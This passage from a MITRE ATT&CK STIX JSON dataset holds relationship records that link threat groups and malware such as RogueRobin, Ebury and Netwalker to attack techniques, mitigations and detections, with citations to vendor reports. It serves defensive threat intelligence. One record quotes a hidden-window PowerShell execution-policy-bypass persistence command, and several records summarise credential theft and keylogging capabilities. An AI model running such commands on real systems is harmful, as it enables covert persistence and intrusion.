"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--e586e3c7-ed6b-4f6b-92e8-031f0acc84ef", "type": "relationship", "created": "2020-05-13T19:39:41.738Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Kaspersky MoleRATs April 2019", "url": "https://securelist.com/gaza-cybergang-group1-operation-sneakypastes/90068/", "description": "GReAT. (2019, April 10). Gaza Cybergang Group1, operation SneakyPastes. Retrieved May 13, 2020."}, {"source_name": "Unit42 Molerat Mar 2020", "url": "https://unit42.paloaltonetworks.com/molerats-delivers-spark-backdoor/", "description": "Falcone, R., et al. (2020, March 3). Molerats Delivers Spark Backdoor to Government and Telecommunications Organizations. Retrieved December 14, 2020."}, {"source_name": "Cybereason Molerats Dec 2020", "url": "https://www.cybereason.com/hubfs/dam/collateral/reports/Molerats-in-the-Cloud-New-Malware-Arsenal-Abuses-Cloud-Platforms-in-Middle-East-Espionage-Campaign.pdf", "description": "Cybereason Nocturnus Team. (2020, December 9). MOLERATS IN THE CLOUD: New Malware Arsenal Abuses Cloud Platforms in Middle East Espionage Campaign. Retrieved December 22, 2020."}], "modified": "2020-12-22T16:49:46.916Z", "description": "[Molerats](https://attack.mitre.org/groups/G0021) has sent malicious files via email that tricked users into clicking Enable Content to run an embedded macro and to download malicious archives.(Citation: Kaspersky MoleRATs April 2019)(Citation: Unit42 Molerat Mar 2020)(Citation: Cybereason Molerats Dec 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--df71bb3b-813c-45eb-a8bc-f2a419837411", "target_ref": "attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--e58abef6-2089-4f55-b5ee-9fc24378b52f", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/", "description": "Falcone, R., et al. (2018, July 27). New Threat Actor Group DarkHydrus Targets Middle East Government. Retrieved August 2, 2018.", "source_name": "Unit 42 DarkHydrus July 2018"}, {"source_name": "Unit42 DarkHydrus Jan 2019", "url": "https://unit42.paloaltonetworks.com/darkhydrus-delivers-new-trojan-that-can-use-google-drive-for-c2-communications/", "description": "Lee, B., Falcone, R. (2019, January 18). DarkHydrus delivers new Trojan that can use Google Drive for C2 communications. Retrieved April 17, 2019."}, {"url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/", "description": "Falcone, R., et al. (2018, July 27). New Threat Actor Group DarkHydrus Targets Middle East Government. Retrieved August 2, 2018.", "source_name": "Unit 42 DarkHydrus July 2018"}], "modified": "2020-03-18T20:03:52.989Z", "description": "[RogueRobin](https://attack.mitre.org/software/S0270) uses a command prompt to run a PowerShell script from Excel.(Citation: Unit 42 DarkHydrus July 2018) To assist in establishing persistence, [RogueRobin](https://attack.mitre.org/software/S0270) creates <code>%APPDATA%\\OneDrive.bat</code> and saves the following string to it:<code>powershell.exe -WindowStyle Hidden -exec bypass -File \u201c%APPDATA%\\OneDrive.ps1\u201d</code>.(Citation: Unit42 DarkHydrus Jan 2019)(Citation: Unit 42 DarkHydrus July 2018)", "relationship_type": "uses", "source_ref": "malware--8ec6e3b4-b06d-4805-b6aa-af916acc2122", "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--e58bc387-6540-4976-8c12-73ddf15084ed", "created": "2023-03-02T18:43:13.006Z", "revoked": false, "external_references": [{"source_name": "Microsoft BlackCat Jun 2022", "description": "Microsoft Defender Threat Intelligence. (2022, June 13). The many lives of BlackCat ransomware. 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Retrieved March 4, 2019."}], "modified": "2019-07-26T20:18:44.975Z", "description": "[Linux Rabbit](https://attack.mitre.org/software/S0362) acquires valid SSH accounts through brute force. (Citation: Anomali Linux Rabbit 2018)", "relationship_type": "uses", "source_ref": "malware--0efefea5-78da-4022-92bc-d726139e8883", "target_ref": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--e5bfb355-b834-48db-8d79-9067127ed82b", "type": "relationship", "created": "2022-02-09T14:49:28.936Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Talos Kimsuky Nov 2021", "url": "https://blog.talosintelligence.com/2021/11/kimsuky-abuses-blogs-delivers-malware.html", "description": "An, J and Malhotra, A. (2021, November 10). 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(2017, April). Operation Cloud Hopper: Technical Annex. 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(2022, May 11). Bitter APT adds Bangladesh to their targets. Retrieved June 1, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[BITTER](https://attack.mitre.org/groups/G1002) has used scheduled tasks for persistence and execution.(Citation: Cisco Talos Bitter Bangladesh May 2022)", "modified": "2022-06-01T21:13:39.136Z", "relationship_type": "uses", "source_ref": "intrusion-set--7f848c02-4d1e-4808-a4ae-4670681370a9", "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--e69ac347-8b74-4fcc-8b13-17d7a1b04339", "type": "relationship", "created": "2021-03-02T13:57:47.577Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Amnesty Intl. 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Retrieved June 2, 2021."}], "modified": "2021-06-04T13:40:50.358Z", "description": "[DEATHRANSOM](https://attack.mitre.org/software/S0616) can enumerate logical drives on a target system.(Citation: FireEye FiveHands April 2021)", "relationship_type": "uses", "source_ref": "malware--6de9cad1-eed2-4e27-b0b5-39fa29349ea0", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--e6a1906d-43d1-454c-8150-053759421b74", "created": "2022-09-22T21:26:39.015Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Cybereason OperationCuckooBees May 2022", "description": "Cybereason Nocturnus. (2022, May 4). Operation CuckooBees: Deep-Dive into Stealthy Winnti Techniques. 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(2019, August 6). SILENTTRINITY Modules. Retrieved March 24, 2022."}], "modified": "2022-03-24T21:39:40.366Z", "description": "[SILENTTRINITY](https://attack.mitre.org/software/S0692) has a keylogging capability.(Citation: GitHub SILENTTRINITY Modules July 2019)", "relationship_type": "uses", "source_ref": "tool--1244e058-fa10-48cb-b484-0bcf671107ae", "target_ref": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--e6a3f7bf-33c3-4d4c-bb27-46bd2842c750", "type": "relationship", "created": "2020-05-26T21:02:38.417Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "TrendMicro Netwalker May 2020", "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/netwalker-fileless-ransomware-injected-via-reflective-loading/", "description": "Victor, K.. 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Retrieved May 26, 2020."}], "modified": "2020-06-08T16:07:36.211Z", "description": "[Netwalker](https://attack.mitre.org/software/S0457) can terminate system processes and services, some of which relate to backup software.(Citation: TrendMicro Netwalker May 2020)", "relationship_type": "uses", "source_ref": "malware--754effde-613c-4244-a83e-fb659b2a4d06", "target_ref": "attack-pattern--20fb2507-d71c-455d-9b6d-6104461cf26b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--e6a74691-5e6a-49ef-b8dc-e3d9e28fe048", "type": "relationship", "created": "2019-10-11T17:48:31.883Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Mandiant M-Trends 2020", "url": "https://content.fireeye.com/m-trends/rpt-m-trends-2020", "description": "Mandiant. (2020, February). M-Trends 2020. Retrieved April 24, 2020."}], "modified": "2020-09-14T19:48:07.199Z", "description": "Limit permissions for creating new instances in accordance with least privilege. Organizations should limit the number of users within the organization with an IAM role that has administrative privileges, strive to reduce all permanent privileged role assignments, and conduct periodic entitlement reviews on IAM users, roles and policies.(Citation: Mandiant M-Trends 2020)", "relationship_type": "mitigates", "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317", "target_ref": "attack-pattern--cf1c2504-433f-4c4e-a1f8-91de45a0318c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--e6aad2f6-4fb8-4987-a316-e7d50269a254", "created": "2023-09-27T17:47:13.641Z", "revoked": false, "external_references": [{"source_name": "MoustachedBouncer ESET August 2023", "description": "Faou, M. (2023, August 10). MoustachedBouncer: Espionage against foreign diplomats in Belarus. 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(2015, January 19). Attackers Can Now Use Mimikatz to Implant Skeleton Key on Domain Controllers & BackDoor Your Active Directory Forest. Retrieved February 3, 2015.", "source_name": "Metcalf 2015"}], "modified": "2022-03-08T21:00:52.930Z", "description": "Ensure Domain Controller backups are properly secured.(Citation: Metcalf 2015)", "relationship_type": "mitigates", "source_ref": "course-of-action--feff9142-e8c2-46f4-842b-bd6fb3d41157", "target_ref": "attack-pattern--edf91964-b26e-4b4a-9600-ccacd7d7df24", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--e6b509c8-0e00-48ac-b76d-f42d18a0ae51", "type": "relationship", "created": "2021-05-26T12:38:01.263Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "The Australian Cyber Security Centre (ACSC), the Canadian Centre for Cyber Security (CCCS), the New Zealand National Cyber Security Centre (NZ NCSC), CERT New Zealand, the UK National Cyber Security Centre (UK NCSC) and the US National Cybersecurity and Communications Integration Center (NCCIC). (2018, October 11). Joint report on publicly available hacking tools. Retrieved March 11, 2019.", "url": "https://www.ncsc.gov.uk/report/joint-report-on-publicly-available-hacking-tools", "source_name": "NCSC Joint Report Public Tools"}, {"url": "https://www.fireeye.com/blog/threat-research/2017/06/phished-at-the-request-of-counsel.html", "description": "Ahl, I. (2017, June 06). Privileges and Credentials: Phished at the Request of Counsel. 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Retrieved August 17, 2016.", "url": "https://securelist.com/files/2016/07/The-ProjectSauron-APT_Technical_Analysis_KL.pdf"}], "modified": "2020-03-11T17:45:33.633Z", "description": "[Remsec](https://attack.mitre.org/software/S0125) has a plugin that can perform ARP scanning as well as port scanning.(Citation: Kaspersky ProjectSauron Technical Analysis)", "relationship_type": "uses", "source_ref": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8", "target_ref": "attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--e6b6a34f-f444-42b0-9f33-3557c1deb5a7", "created": "2022-08-03T14:51:13.274Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "SpecterOps Certified Pre Owned", "description": "Schroeder, W. & Christensen, L. (2021, June 22). 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Retrieved November 9, 2020."}], "modified": "2020-11-10T20:55:27.393Z", "description": "[Melcoz](https://attack.mitre.org/software/S0530) has been spread through malicious links embedded in e-mails.(Citation: Securelist Brazilian Banking Malware July 2020)", "relationship_type": "uses", "source_ref": "malware--d3105fb5-c494-4fd1-a7be-414eab9e0c96", "target_ref": "attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--e6cafa6a-22ce-49f7-8136-dc5a51c3aaeb", "created": "2017-05-31T21:33:27.068Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "Novetta Blockbuster RATs", "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-RAT-and-Staging-Report.pdf", "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Remote Administration Tools & Content Staging Malware Report. Retrieved March 16, 2016."}, {"source_name": "Novetta Blockbuster", "url": "https://web.archive.org/web/20160226161828/https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf", "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) malware SierraAlfa accesses the <code>ADMIN$</code> share via SMB to conduct lateral movement.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster RATs)", "modified": "2022-07-28T18:47:12.016Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", "target_ref": "attack-pattern--4f9ca633-15c5-463c-9724-bdcd54fde541", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--e6cd4568-3c15-4d1d-ab2c-c799141cf34b", "type": "relationship", "created": "2020-05-21T17:14:56.863Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "TrendMicro Tropic Trooper May 2020", "url": "https://documents.trendmicro.com/assets/Tech-Brief-Tropic-Trooper-s-Back-USBferry-Attack-Targets-Air-gapped-Environments.pdf", "description": "Chen, J.. (2020, May 12). Tropic Trooper\u2019s Back: USBferry Attack Targets Air gapped Environments. Retrieved May 20, 2020."}], "modified": "2020-05-29T13:31:07.909Z", "description": "[USBferry](https://attack.mitre.org/software/S0452) can use <code>netstat</code> and <code>nbtstat</code> to detect active network connections.(Citation: TrendMicro Tropic Trooper May 2020)\t", "relationship_type": "uses", "source_ref": "malware--75bba379-4ba1-467e-8c60-ec2b269ee984", "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--e6ce13c0-7a23-4974-bacc-187eedd9c6da", "type": "relationship", "created": "2021-02-10T21:09:24.323Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Windigo Mar 2014", "url": "https://www.welivesecurity.com/2014/03/18/operation-windigo-the-vivisection-of-a-large-linux-server-side-credential-stealing-malware-campaign/", "description": "Bilodeau, O., Bureau, M., Calvet, J., Dorais-Joncas, A., L\u00e9veill\u00e9, M., Vanheuverzwijn, B. (2014, March 18). Operation Windigo \u2013 the vivisection of a large Linux server\u2011side credential\u2011stealing malware campaign. Retrieved February 10, 2021."}], "modified": "2021-04-23T22:56:14.882Z", "description": "[Ebury](https://attack.mitre.org/software/S0377) can exfiltrate SSH credentials through custom DNS queries.(Citation: ESET Windigo Mar 2014)", "relationship_type": "uses", "source_ref": "malware--d6b3fcd0-1c86-4350-96f0-965ed02fcc51", "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--e6d80908-fa46-46b5-aee3-30d2e54edec0", "type": "relationship", "created": "2019-01-30T15:47:41.349Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "TrendMicro Lazarus Nov 2018", "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/lazarus-continues-heists-mounts-attacks-on-financial-organizations-in-latin-america/", "description": "Trend Micro. (2018, November 20). Lazarus Continues Heists, Mounts Attacks on Financial Organizations in Latin America. Retrieved December 3, 2018."}], "modified": "2020-03-20T16:06:56.321Z", "description": "[AuditCred](https://attack.mitre.org/software/S0347) is installed as a new service on the system.(Citation: TrendMicro Lazarus Nov 2018)", "relationship_type": "uses", "source_ref": "malware--24b4ce59-eaac-4c8b-8634-9b093b7ccd92", "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--e6dadc21-2dcd-41fc-a706-a08942551487", "type": "relationship", "created": "2022-01-05T15:22:14.254Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://securelist.com/winnti-more-than-just-a-game/37029/", "description": "Kaspersky Lab's Global Research and Analysis Team. (2013, April 11). Winnti. More than just a game. Retrieved February 8, 2017.", "source_name": "Kaspersky Winnti April 2013"}], "modified": "2022-01-05T15:22:14.254Z", "description": "[Winnti Group](https://attack.mitre.org/groups/G0044) has registered domains for C2 that mimicked sites of their intended targets.(Citation: Kaspersky Winnti April 2013)", "relationship_type": "uses", "source_ref": "intrusion-set--c5947e1c-1cbc-434c-94b8-27c7e3be0fff", "target_ref": "attack-pattern--40f5caa0-4cb7-4117-89fc-d421bb493df3", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--e6dd2026-0c65-4a42-a306-d525bb442ab3", "type": "relationship", "created": "2021-03-16T14:45:10.473Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Dormann Dangers of VHD 2019", "url": "https://insights.sei.cmu.edu/cert/2019/09/the-dangers-of-vhd-and-vhdx-files.html", "description": "Dormann, W. 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Retrieved August 19, 2015.", "url": "https://web.archive.org/web/20151022204649/https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-26T17:51:20.423Z", "description": "[CORESHELL](https://attack.mitre.org/software/S0137) obfuscates strings using a custom stream cipher.(Citation: FireEye APT28)", "relationship_type": "uses", "source_ref": "malware--60c18d06-7b91-4742-bae3-647845cd9d81", "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--e6f69552-fe0e-4b40-ad20-4410048277e6", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Palo Alto menuPass Feb 2017", "description": "Miller-Osborn, J. and Grunzweig, J.. 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Retrieved March 1, 2017.", "url": "http://researchcenter.paloaltonetworks.com/2017/02/unit42-menupass-returns-new-malware-new-attacks-japanese-academics-organizations/"}], "modified": "2020-03-17T00:33:19.756Z", "description": "[ChChes](https://attack.mitre.org/software/S0144) collects its process identifier (PID) on the victim.(Citation: Palo Alto menuPass Feb 2017)", "relationship_type": "uses", "source_ref": "malware--dc5d1a33-62aa-4a0c-aa8c-589b87beb11e", "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--e6f81b9c-8fda-49f5-a944-265f5bad82ba", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://blog.talosintelligence.com/2018/05/navrat.html", "description": "Mercer, W., Rascagneres, P. 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Retrieved May 6, 2020."}], "modified": "2020-05-06T21:31:07.647Z", "description": "[Okrum](https://attack.mitre.org/software/S0439) can obtain the date and time of the compromised system.(Citation: ESET Okrum July 2019)", "relationship_type": "uses", "source_ref": "malware--4b6ec280-7bbb-48ff-ae59-b189520ebe83", "target_ref": "attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--e6f9bcbe-43aa-451a-948d-85b64fd3c958", "type": "relationship", "created": "2022-03-30T14:26:51.843Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.843Z", "description": "Monitor executed commands and arguments that may erase the contents of storage devices on specific systems or in large numbers in a network to interrupt availability to system and network resources.", "source_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", "target_ref": "attack-pattern--fb640c43-aa6b-431e-a961-a279010424ac", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--e6fa0699-430b-4506-9a6d-286b22381206", "type": "relationship", "created": "2020-01-28T14:05:17.985Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-01-28T14:05:17.985Z", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--7610cada-1499-41a4-b3dd-46467b68d177", "target_ref": "attack-pattern--e01be9c5-e763-4caf-aeb7-000b416aef67", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--e6ff8ec4-51c4-47d2-83a8-777d8c2a7b8e", "created": "2024-02-09T19:16:51.220Z", "revoked": false, "external_references": [{"source_name": "Mandiant Pulse Secure Zero-Day April 2021", "description": "Perez, D. et al. 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Retrieved February 5, 2024.", "url": "https://www.mandiant.com/resources/blog/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-02-09T19:16:51.220Z", "description": "(Citation: Mandiant Pulse Secure Zero-Day April 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--c1aab4c9-4c34-4f4f-8541-d529e46a07f9", "target_ref": "malware--9a097d18-d15f-4635-a4f1-189df7efdc40", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--e7077a73-991e-4660-a13d-fb30dc36fab1", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Microsoft PLATINUM April 2016", "description": "Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.", "url": "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf"}], "modified": "2020-03-20T22:57:46.659Z", "description": "[adbupd](https://attack.mitre.org/software/S0202) contains a copy of the OpenSSL library to encrypt C2 traffic.(Citation: Microsoft PLATINUM April 2016)", "relationship_type": "uses", "source_ref": "malware--0f1ad2ef-41d4-4b7a-9304-ddae68ea3005", "target_ref": "attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--e711d51c-94d3-4a20-ae11-d3584bae36d9", "created": "2021-03-22T21:57:48.752Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "wardle evilquest partii", "url": "https://objective-see.com/blog/blog_0x60.html", "description": "Patrick Wardle. (2020, July 3). OSX.EvilQuest Uncovered part ii: insidious capabilities. Retrieved March 21, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": "[ThiefQuest](https://attack.mitre.org/software/S0595) uses a function named <code>is_debugging</code> to perform anti-debugging logic. The function invokes <code>sysctl</code> checking the returned value of <code>P_TRACED</code>. [ThiefQuest](https://attack.mitre.org/software/S0595) also calls <code>ptrace</code> with the <code>PTRACE_DENY_ATTACH</code> flag to prevent debugging.(Citation: wardle evilquest partii)", "modified": "2022-04-16T15:01:18.203Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--727afb95-3d0f-4451-b297-362a43909923", "target_ref": "attack-pattern--e4dc8c01-417f-458d-9ee0-bb0617c1b391", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--e7126875-bb0f-48d0-845f-6b8951ce8507", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Symantec Pasam May 2012", "description": "Mullaney, C. & Honda, H. (2012, May 4). Trojan.Pasam. Retrieved February 22, 2018.", "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2012-050412-4128-99"}], "modified": "2020-02-11T19:38:06.259Z", "description": "[Pasam](https://attack.mitre.org/software/S0208) creates a backdoor through which remote attackers can retrieve files.(Citation: Symantec Pasam May 2012)", "relationship_type": "uses", "source_ref": "malware--e811ff6a-4cef-4856-a6ae-a7daf9ed39ae", "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--e712d24e-0fdc-4ce3-96bf-939b7d4a9cd3", "type": "relationship", "created": "2019-01-30T19:50:46.744Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Grunzweig, J., Lee, B. (2018, September 27). New KONNI Malware attacking Eurasia and Southeast Asia. Retrieved November 5, 2018.", "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-new-konni-malware-attacking-eurasia-southeast-asia/", "source_name": "Unit 42 NOKKI Sept 2018"}], "modified": "2020-03-17T01:58:31.420Z", "description": "[NOKKI](https://attack.mitre.org/software/S0353) uses the Windows call SetWindowsHookEx and begins injecting it into every GUI process running on the victim's machine.(Citation: Unit 42 NOKKI Sept 2018)", "relationship_type": "uses", "source_ref": "malware--071d5d65-83ec-4a55-acfa-be7d5f28ba9a", "target_ref": 